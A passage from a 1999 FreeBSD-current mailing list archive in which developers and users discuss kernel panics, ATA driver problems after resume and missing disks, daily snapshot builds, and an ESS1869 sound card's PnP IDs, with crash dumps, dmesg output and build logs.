I really dont have the time to play it via mail/whatever until
it actually works...

-Soren


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  4:56:26 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mpp.pro-ns.net (pppdsle45.mpls.uswest.net [216.160.23.45])
	by hub.freebsd.org (Postfix) with ESMTP
	id 8069C14E28; Mon, 27 Sep 1999 04:56:24 -0700 (PDT)
	(envelope-from mpp@mpp.pro-ns.net)
Received: (from mpp@localhost)
	by mpp.pro-ns.net (8.9.3/8.9.3) id GAA00719;
	Mon, 27 Sep 1999 06:55:42 -0500 (CDT)
	(envelope-from mpp)
From: Mike Pritchard <mpp@FreeBSD.org>
Message-Id: <199909271155.GAA00719@mpp.pro-ns.net>
Subject: Re: -current panic w/linux netscape
In-Reply-To: <199909261632.JAA66523@apollo.backplane.com> from Matthew Dillon at "Sep 26, 1999 09:32:19 am"
To: dillon@apollo.backplane.com (Matthew Dillon)
Date: Mon, 27 Sep 1999 06:55:42 -0500 (CDT)
Cc: mpp@FreeBSD.ORG (Mike Pritchard), current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> :I finally saw my first -current panic in more than 5 months (not a bad
> :track record).
> :
> :I have a panic that I can duplicate with a 24 hour old "make world"
> :and a 4 hour old -current kernel.  If I run the linux netscape (installed
> :from ports less than a week ago), the kernel panics in copystr().
> :Minimal gdb output follows.  I'll have to generate a kernel with
> :debug info for more information.
> :
> :The linux netscape worked fine with my old kernel from 9/16.
> :I'm willing to try and track this down, but I hope someone
> :will pop up and have an idea what is wrong.
> :
> :-Mike

I must have caught two badly timed cvsups in a row.  After doing another cvsup
and recompiling/installing a kernel and modules (which I had done before),
everything is working fine.  I usually ignore any glitches after
a fresh "cvsup/make world", except in this case it took me 3 cvsup's
to get a fully-functional system.

I'm still not sure exactly what was out of sync here, but after
examing the crash dump with full symbols, it really looked like something
wasn't in sync (i386/trap.c:syscall() had some very odd values it was trying
to use).

I know how to debug kernels, I just haven't had to do so for such a long
time, so I wasn't prepared :-)!!!!  And doing it this time, just reminds
me how lacking gdb is in some respects compared to other kernel debugging 
tools I've used in the past in some areas.  In other areas it is much
better.

Thanks for taking the time to respond.

-Mike

>     Compile your kernel with debugging.  In the kernel configuration file
>     in /usr/src/sys/i386/conf/YOURCONFIGFILE, add:
> 
> 	makeoptions     DEBUG="-g"
> 
>     Then config the kernel and rebuild.
> 
>     When you make install, the non-debug version will be installed and the
>     debug version will be sitting in the compile directory as 'kernel.debug'.
> 
>     Then reboot, then cause the crash again and get another core (be sure
>     to clear out space from /var/crash if necessary).
> 
>     Now bring the system up again, and use this for your gdb:
> 
> 	cd /var/crash
> 	gdb -k /usr/src/sys/compile/YOURCONFIGNAME/kernel.debug vmcore.XX
> 
>     And do the 'back' again to get the stack backtrace.  You should see a
>     whole lot more information.
> 
> 						-Matt
-- 
Mike Pritchard
mpp@FreeBSD.org or mpp@mpp.pro-ns.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  7: 8:35 1999
Delivered-To: freebsd-current@freebsd.org
Received: from kiwi.mail.easynet.net (kiwi.mail.easynet.net [195.40.1.40])
	by hub.freebsd.org (Postfix) with ESMTP id 8ABC214E13
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 07:08:30 -0700 (PDT)
	(envelope-from frankrj@netscape.net)
Received: from netscape.net (alister.w.easynet.co.uk [212.212.251.86])
	by kiwi.mail.easynet.net (Postfix) with ESMTP id 6A8E0DB0FC
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 15:08:29 +0100 (BST)
Message-ID: <37EF895A.130D204C@netscape.net>
Date: Mon, 27 Sep 1999 15:12:26 +0000
From: Francis Jordan <frankrj@netscape.net>
X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 4.0-CURRENT i386)
X-Accept-Language: en
MIME-Version: 1.0
To: freebsd-current@freebsd.org
Subject: ata-related crash following notebook resume
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

$apm -Z
// going to sleep

//... 10 hours later ...

// key pressed

ata0: resetting devices .. done
ata1: resetting devices ..

Fatal trap 12:  page fault while in kernel mode
fault virtual address   = 0x4
fault code              = supervisor read, page not present
instruction pointer     = 0x8:0xc01e6e42
stack pointer           = 0x10:0xc0243028
frame pointer           = 0x10:0xc0243028
code segment            = base 0x0, limit 0xfffff, type 0x1b
                        = DPL 0, pres 1, def32 1, gran 1
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = Idle
interrupt mask          =
trap number             = 12
panic:  page fault

syncing disks ... 1 1 1 1 1 1 1 1 1 1 1 1 1 done


$ nm /kernel | grep c01e6e 
c01e6e3c T atapi_reinit

$ dmesg
...
ata-pci0: <Intel PIIX4 IDE controller> at device 1.1 on pci0
ata-pci0: Busmastering DMA supported
ata0 at 0x01f0 irq 14 on ata-pci0
ata1 at 0x0170 irq 15 on ata-pci0
...
ad0: <TOSHIBA MK6409MAV/F5.01 A> ATA-4 disk at ata0 as master
ad0: 6194MB (12685680 sectors), 13424 cyls, 15 heads, 63 S/T, 512 B/S
ad0: 16 secs/int, 0 depth queue, UDMA33
Creating DISK ad0
Creating DISK wd0
acd0: <UJDA150/1.02> CDROM drive at ata1 as master
acd0: read 4134KB/s (4134KB/s), 128KB buffer, DMA
acd0: supported read types: CD-R, CD-RW, CD-DA
acd0: Audio: play, 256 volume levels
acd0: Mechanism: ejectable tray
acd0: Medium: CD-ROM 120mm photo disc loaded, unlocked
ata_command: timeout waiting for interrupt

(-current kernel dated Fri Sep 24 19:30:18 GMT)

Thank you for your attention.

Frank


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  7:18:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail-out.visi.com (kauket.visi.com [209.98.98.22])
	by hub.freebsd.org (Postfix) with ESMTP id 4ECFC1537E
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 07:18:43 -0700 (PDT)
	(envelope-from jstock@visi.com)
Received: from isis.visi.com (isis.visi.com [209.98.98.8])
	by mail-out.visi.com (Postfix) with ESMTP id 6D98B3742
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 09:18:43 -0500 (CDT)
Received: from localhost (jstock@localhost)
	by isis.visi.com (8.8.8/8.8.8) with ESMTP id JAA14536
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 09:18:43 -0500 (CDT)
X-Authentication-Warning: isis.visi.com: jstock owned process doing -bs
Date: Mon, 27 Sep 1999 09:18:43 -0500 (CDT)
From: "Jeremy L. Stock" <jstock@visi.com>
To: current@FreeBSD.ORG
Subject: ATA Driver Problem
Message-ID: <Pine.GSO.4.10.9909270907350.13784-100000@isis.visi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I have two hard drives both Western Digital 8.4GB (primary master) 6.4GB
(primary slave) and a CDROM as secondary master. The driver detects the
8.4GB and my cdrom but doesn't seem to see the second hd at all. I'd provide
more info if I could but / lives on the second drive so I'm not sure if
I can provide any concrete details. I used the config example in LINT for
the driver.

  
-- 
Jeremy L. Stock					<jstock@visi.com>
ICQ 46329337
Fax # 612-629-6540 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  7:49:12 1999
Delivered-To: freebsd-current@freebsd.org
Received: from lamb.sas.com (lamb.sas.com [192.35.83.8])
	by hub.freebsd.org (Postfix) with ESMTP id D7ABF14A2F
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 07:49:04 -0700 (PDT)
	(envelope-from jwd@unx.sas.com)
Received: from mozart (mozart.unx.sas.com [192.58.184.28])
	by lamb.sas.com (8.9.3/8.9.1) with SMTP id KAA20990;
	Mon, 27 Sep 1999 10:49:03 -0400 (EDT)
Received: from bb01f39.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90)
	id AA23077; Mon, 27 Sep 1999 10:48:33 -0400
Received: (from jwd@localhost)
	by bb01f39.unx.sas.com (8.9.1/8.9.1) id KAA42811;
	Mon, 27 Sep 1999 10:48:32 -0400 (EDT)
	(envelope-from jwd)
From: "John W. DeBoskey" <jwd@unx.sas.com>
Message-Id: <199909271448.KAA42811@bb01f39.unx.sas.com>
Subject: Re: Beneath The Planet Of The Mondays
In-Reply-To: From "Daniel C. Sobral" at "Sep 26, 1999  9:25: 9 pm"
To: freebsd-current@freebsd.org
Date: Mon, 27 Sep 1999 10:48:32 -0400 (EDT)
Cc: jhay@mikom.csir.co.za, wpaul@skynet.ctr.columbia.edu,
	dcs@newsguy.com
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


   I've been tracking -current for a few years now, and find that
typically it is actually pretty stable. The two items that will
cause trouble are documentation problems, and a kernel/userland
change that I miss.

   I have a system dedicated to building a SNAP everyday at
2am EST (11pm PST). I would be more than happy to set this job
up to mail out the last 100 lines of the build log. As an example
of successful builds for Sept, I have the following :

drwxr-xr-x  20 root  wheel  1024 Sep  8 15:13 4.0-19990908-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 10 12:13 4.0-19990910-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 12 18:22 4.0-19990912-SNAP
drwxr-xr-x  21 root  wheel  1024 Sep 14 11:44 4.0-19990914-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 16 06:40 4.0-19990916-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 17 06:05 4.0-19990917-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 18 06:16 4.0-19990918-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 22 16:30 4.0-19990922-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 24 06:58 4.0-19990924-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 27 07:06 4.0-19990927-SNAP

   Unfortunately, I have no way of making these SNAPs publicly
available due to the firewall I live behind. If someone can
allocate the space, I can ftp the SNAP out. The above SNAPs have
no local mods in them. Local mods are kept on a seperate system
and applied at installation time.

   Let me know if this would help resolve some of the questions
you might have.

   The tail of the log file for 0927 (with NODOC=YES) is attached
below.

-John

touch release.4
Making fixit floppy.
disklabel: ioctl DIOCWLABEL: Operation not supported by device
Warning: Block size restricts cylinders per group to 6.
Warning: 2432 sector(s) in last cylinder unallocated
/dev/rvn0c:     5760 sectors in 2 cylinders of 1 tracks, 4096 sectors
        2.8MB in 1 cyl groups (6 c/g, 12.00MB/g, 1472 i/g)
super-block backups (for fsck -b #) at:
 32
1921 blocks
Filesystem  1K-blocks     Used    Avail Capacity iused   ifree  %iused  Mounted on
/dev/vn0c        2667      984     1470    40%     631     839    43%   /mnt
>>> Filesystem is 2880 K, 1470 left
>>>     2000 bytes/inode, 839 left
touch release.9
0 blocks
Setting up CDROM distribution area
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
Setting up FTP distribution area
0 blocks
0 blocks
Release done
+ echo make release Finished
make release Finished
---> make world ran 264 min 1 sec
---> Mon Sep 27 07:00:00 EDT 1999 - Creating /pub/FreeBSD/4.0-19990927-SNAP
---> Mon Sep 27 07:06:36 EDT 1999 - build of 4.0-19990927-SNAP was a success.
---> make world/release ran 271 min 0 sec





> Bill Paul wrote:
> > 
> > I realize this is -current and all and mistakes happen, but make
> > release basically constitutes a 'full build' of FreeBSD and if it
> > doesn't work, especially for a whole week, it looks kinda bad.
> 
> Does it? I thought -current wasn't supposed to work at all, except
> by accident, and anyone actually using a functional current ought to
> say their prayers before login in.
> 
> > Unfortunately, when the snapshots on current.freebsd.org fall over,
> > nobody knows exactly what causes the problem except Jordan, and he
> > keeps gnawing through his limbs to excape the traps I set for him.
> 
> Yeah, that he does. :-)
> 
> > When somebody breaks the build at M$, the offender is made to wear
> > a viking hat. I would suggest a similar punishment for those who
> > break our own build, except that I suspect many of you are wearing
> > viking hats already.
> 
> Alas, I think it would be a bad idea. Some people my interpret this
> as "gets to wear a viking hat", ie, in a positive way. :-)
> 
> - --
> Daniel C. Sobral			(8-DCS)
> dcs@newsguy.com
> dcs@freebsd.org
> 
> 	Rule 69: Do unto other's code as you'd have it do unto yours
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 
> ------------------------------
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  8:56:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id 4532715037
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 08:56:11 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id RAA16834;
	Mon, 27 Sep 1999 17:56:08 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199909271556.RAA16834@freebsd.dk>
Subject: Re: ATA Driver Problem
In-Reply-To: <Pine.GSO.4.10.9909270907350.13784-100000@isis.visi.com> from "Jeremy L. Stock" at "Sep 27, 1999 09:18:43 am"
To: jstock@visi.com (Jeremy L. Stock)
Date: Mon, 27 Sep 1999 17:56:08 +0200 (CEST)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Jeremy L. Stock wrote:
> I have two hard drives both Western Digital 8.4GB (primary master) 6.4GB
> (primary slave) and a CDROM as secondary master. The driver detects the
> 8.4GB and my cdrom but doesn't seem to see the second hd at all. I'd provide
> more info if I could but / lives on the second drive so I'm not sure if
> I can provide any concrete details. I used the config example in LINT for
> the driver.

Are you sure you have the latest versions of everything in /sys/dev/ata ??
There was a window of opportunity where I messed up unless ATA_STATIC_ID
was defined...

-Søren


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  9: 1:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dmv096.resnet.ust.hk (dmv096.resnet.ust.hk [143.89.94.146])
	by hub.freebsd.org (Postfix) with ESMTP id ACD851530B
	for <current@freebsd.org>; Mon, 27 Sep 1999 09:01:18 -0700 (PDT)
	(envelope-from wangsd@dmv096.resnet.ust.hk)
Received: (from wangsd@localhost)
	by dmv096.resnet.ust.hk (8.9.3/8.9.3) id AAA00399
	for current@freebsd.org; Tue, 28 Sep 1999 00:01:14 +0800 (CST)
	(envelope-from wangsd)
Date: Tue, 28 Sep 1999 00:01:14 +0800
From: Wang Shidong <wangsd@ust.hk>
To: current@freebsd.org
Subject: ESS1869 logical ID
Message-ID: <19990928000113.A302@ust.hk>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="C7zPtVaVf+AK4Oqc"
X-Mailer: Mutt 1.0pre2i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=us-ascii

Following the suggestion of Mr. Peter Wemm, I manage to get my ESS1869
sound card work again. The attachments are the `dmesg' message and the
`pnpinfo -v' output. I am grateful if the ID can be added.

Thank you very much.

regards,
Wang Shidong

--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=dmesg

Copyright (c) 1992-1999 The FreeBSD Project.
Copyright (c) 1982, 1986, 1989, 1991, 1993
	The Regents of the University of California. All rights reserved.
FreeBSD 4.0-CURRENT #24: Mon Sep 27 23:36:43 CST 1999
    root@dmv096.resnet.ust.hk:/usr/src/sys/compile/MYKERNEL
Timecounter "i8254"  frequency 1193182 Hz
CPU: AMD-K6(tm) 3D processor (333.41-MHz 586-class CPU)
  Origin = "AuthenticAMD"  Id = 0x580  Stepping = 0
  Features=0x8001bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,MMX>
  AMD Features=0x80000800<SYSCALL,3DNow!>
real memory  = 67092480 (65520K bytes)
avail memory = 62431232 (60968K bytes)
Preloaded elf kernel "kernel" at 0xc028c000.
npx0: <math processor> on motherboard
npx0: INT 16 interface
apm0: <APM BIOS> on motherboard
apm: found APM BIOS v1.2, connected at v1.2
pcib0: <AcerLabs M1541 (Aladdin-V) PCI host bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib1: <AcerLabs M5243 PCI-PCI bridge> at device 1.0 on pci0
pci1: <PCI bus> on pcib1
vga-pci0: <NVidia Riva128 graphics accelerator> irq 10 at device 0.0 on pci1
chip1: <AcerLabs M15x3 Power Management Unit> at device 3.0 on pci0
isab0: <AcerLabs M1533 portable PCI-ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isab0
ed1: <NE2000 PCI Ethernet (RealTek 8029)> irq 11 at device 11.0 on pci0
ed1: address 00:c0:df:ea:f5:80, type NE2000 (16 bit) 
ide_pci0: <Acer Aladdin IV/V (M5229) Bus-master IDE controller> irq 0 at device 15.0 on pci0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
wdc0 at port 0x1f0-0x1f7 irq 14 on isa0
wdc0: unit 0 (wd0): <QUANTUM FIREBALL EX6.4A>
wd0: 6149MB (12594960 sectors), 13328 cyls, 15 heads, 63 S/T, 512 B/S
atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model Generic PS/2 mouse, device ID 0
vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> on isa0
sc0: VGA <16 virtual consoles, flags=0x200>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
unknown0: <ESS ES1869 Plug and Play AudioDrive> on isa0
pcm0: <ESS1868> at port 0x220-0x22f,0x388-0x38b,0x330-0x331 irq 5 drq 1,0 on isa0
unknown1: <ESS ES1869 Plug and Play AudioDrive> at port 0x201 on isa0
unknown2: <ESS ES1869 Plug and Play AudioDrive> at port 0x168-0x16f,0x36e-0x36f irq 9 on isa0
changing root device to wd0s1a

--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=pnpinfo-v

Checking for Plug-n-Play devices...

Card assigned CSN #1
Vendor ID ESS1869 (0x69187316), Serial Number 0xffffffff
PnP Version 1.0, Vendor Version 16
Device Description: ESS ES1869 Plug and Play AudioDrive

Logical Device ID: ESS0006 0x06007316 #0
    I/O Range 0x800 .. 0xff8, alignment 0x8, len 0x8
	[16-bit addr]

Logical Device ID: ESS1869 0x69187316 #1
TAG Start DF
Good Configuration
    DMA: channel(s) 1 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 0 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    IRQ: 5  - only one type (true/edge)
    I/O Range 0x220 .. 0x220, alignment 0x0, len 0x10
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
	[16-bit addr]
    I/O Range 0x330 .. 0x330, alignment 0x0, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    DMA: channel(s) 1 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 0 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    IRQ: 5 7 9 10  - only one type (true/edge)
    I/O Range 0x220 .. 0x240, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
	[16-bit addr]
    I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    IRQ: 5 7 9 10 11 12  - only one type (true/edge)
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
	[16-bit addr]
    I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    IRQ: 5 7 9 10 11 12  - only one type (true/edge)
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
	[16-bit addr]
    I/O Range 0x800 .. 0xffe, alignment 0x2, len 0x2
	[16-bit addr]
TAG Start DF
Sub-optimal Configuration
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    IRQ: 5 7 9 10 11 12  - only one type (true/edge)
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x800 .. 0xffc, alignment 0x4, len 0x4
	[16-bit addr]
    I/O Range 0x800 .. 0xffe, alignment 0x2, len 0x2
	[16-bit addr]
TAG End DF

Logical Device ID: ESS0001 0x01007316 #2
TAG Start DF
Good Configuration
    I/O Range 0x201 .. 0x201, alignment 0x0, len 0x1
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    I/O Range 0x200 .. 0x20f, alignment 0x1, len 0x1
	[16-bit addr]
TAG End DF
Compatible Device ID: PNPb02f (2fb0d041)

Logical Device ID: ESS0002 0x02007316 #3
TAG Start DF
Good Configuration
    IRQ: 9 10 11  - only one type (true/edge)
    I/O Range 0x168 .. 0x168, alignment 0x0, len 0x8
	[16-bit addr]
    I/O Range 0x36e .. 0x36e, alignment 0x0, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 9 10 11  - only one type (true/edge)
    I/O Range 0x1e8 .. 0x1e8, alignment 0x0, len 0x8
	[16-bit addr]
    I/O Range 0x3ee .. 0x3ee, alignment 0x0, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 12  - only one type (true/edge)
    I/O Range 0x168 .. 0x168, alignment 0x0, len 0x8
	[16-bit addr]
    I/O Range 0x36e .. 0x36e, alignment 0x0, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 12  - only one type (true/edge)
    I/O Range 0x1e8 .. 0x1e8, alignment 0x0, len 0x8
	[16-bit addr]
    I/O Range 0x3ee .. 0x3ee, alignment 0x0, len 0x2
	[16-bit addr]
TAG Start DF
Sub-optimal Configuration
    IRQ: 10 11 12  - only one type (true/edge)
    I/O Range 0x100 .. 0x1f8, alignment 0x8, len 0x8
	[16-bit addr]
    I/O Range 0x300 .. 0x3fe, alignment 0x2, len 0x2
	[16-bit addr]
TAG End DF
Compatible Device ID: PNP0600 (0006d041)
End Tag

Successfully got 71 resources, 4 logical fdevs
-- card select # 0x0001

CSN ESS1869 (0x69187316), Serial Number 0xffffffff

Logical device #0
IO:  0x0800 0x0800 0x0800 0x0800 0x0800 0x0800 0x0800 0x0800
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x01

Logical device #1
IO:  0x0388 0x0388 0x0388 0x0388 0x0388 0x0388 0x0388 0x0388
IRQ 5 0
DMA 1 0
IO range check 0x00 activate 0x01

Logical device #2
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x01

Logical device #3
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 9 0
DMA 4 4
IO range check 0x00 activate 0x01

--C7zPtVaVf+AK4Oqc--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27  9: 3:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail-out.visi.com (kauket.visi.com [209.98.98.22])
	by hub.freebsd.org (Postfix) with ESMTP id 9C23815411
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 09:03:43 -0700 (PDT)
	(envelope-from jstock@visi.com)
Received: from isis.visi.com (isis.visi.com [209.98.98.8])
	by mail-out.visi.com (Postfix) with ESMTP
	id D03D73763; Mon, 27 Sep 1999 11:03:37 -0500 (CDT)
Received: from localhost (jstock@localhost)
	by isis.visi.com (8.8.8/8.8.8) with ESMTP id LAA21077;
	Mon, 27 Sep 1999 11:03:37 -0500 (CDT)
X-Authentication-Warning: isis.visi.com: jstock owned process doing -bs
Date: Mon, 27 Sep 1999 11:03:37 -0500 (CDT)
From: "Jeremy L. Stock" <jstock@visi.com>
To: Soren Schmidt <sos@freebsd.dk>
Cc: current@FreeBSD.ORG
Subject: Re: ATA Driver Problem
In-Reply-To: <199909271556.RAA16834@freebsd.dk>
Message-ID: <Pine.GSO.4.10.9909271101190.20924-100000@isis.visi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: QUOTED-PRINTABLE
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, 27 Sep 1999, Soren Schmidt wrote:

>It seems Jeremy L. Stock wrote:
>> I have two hard drives both Western Digital 8.4GB (primary master) 6.4GB
>> (primary slave) and a CDROM as secondary master. The driver detects the
>> 8.4GB and my cdrom but doesn't seem to see the second hd at all. I'd pro=
vide
>> more info if I could but / lives on the second drive so I'm not sure if
>> I can provide any concrete details. I used the config example in LINT fo=
r
>> the driver.
>
>Are you sure you have the latest versions of everything in /sys/dev/ata ??
>There was a window of opportunity where I messed up unless ATA_STATIC_ID
>was defined...
>
>-S=F8ren
>

Fairly positive I have the latest versions. I cvsup'ed twice yesterday. I
forgot to mention my motherboard is an ASUS P5-AB if it matters at all. =20

--=20
Jeremy L. Stock=09=09=09=09=09<jstock@visi.com>
ICQ 46329337
Fax # 612-629-6540=20



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 10: 3:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id CDAE415240
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 10:03:29 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id TAA17019;
	Mon, 27 Sep 1999 19:03:26 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199909271703.TAA17019@freebsd.dk>
Subject: Re: ATA Driver Problem
In-Reply-To: <Pine.GSO.4.10.9909271101190.20924-100000@isis.visi.com> from "Jeremy L. Stock" at "Sep 27, 1999 11:03:37 am"
To: jstock@visi.com (Jeremy L. Stock)
Date: Mon, 27 Sep 1999 19:03:26 +0200 (CEST)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Jeremy L. Stock wrote:
>>Are you sure you have the latest versions of everything in /sys/dev/ata ??
>>There was a window of opportunity where I messed up unless ATA_STATIC_ID
>>was defined...
>>
>>-Søren
>>
>
>Fairly positive I have the latest versions. I cvsup'ed twice yesterday. I
>forgot to mention my motherboard is an ASUS P5-AB if it matters at all.  

Check that you have at least v1.25 of ata-disk.c.
BTW here it works on the same motherboard...

-Søren


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 10: 6:41 1999
Delivered-To: freebsd-current@freebsd.org
Received: from lamb.sas.com (lamb.sas.com [192.35.83.8])
	by hub.freebsd.org (Postfix) with ESMTP id 7D95B15240
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 10:06:37 -0700 (PDT)
	(envelope-from sasblc@unx.sas.com)
Received: from mozart (mozart.unx.sas.com [192.58.184.28])
	by lamb.sas.com (8.9.3/8.9.1) with SMTP id NAA28482;
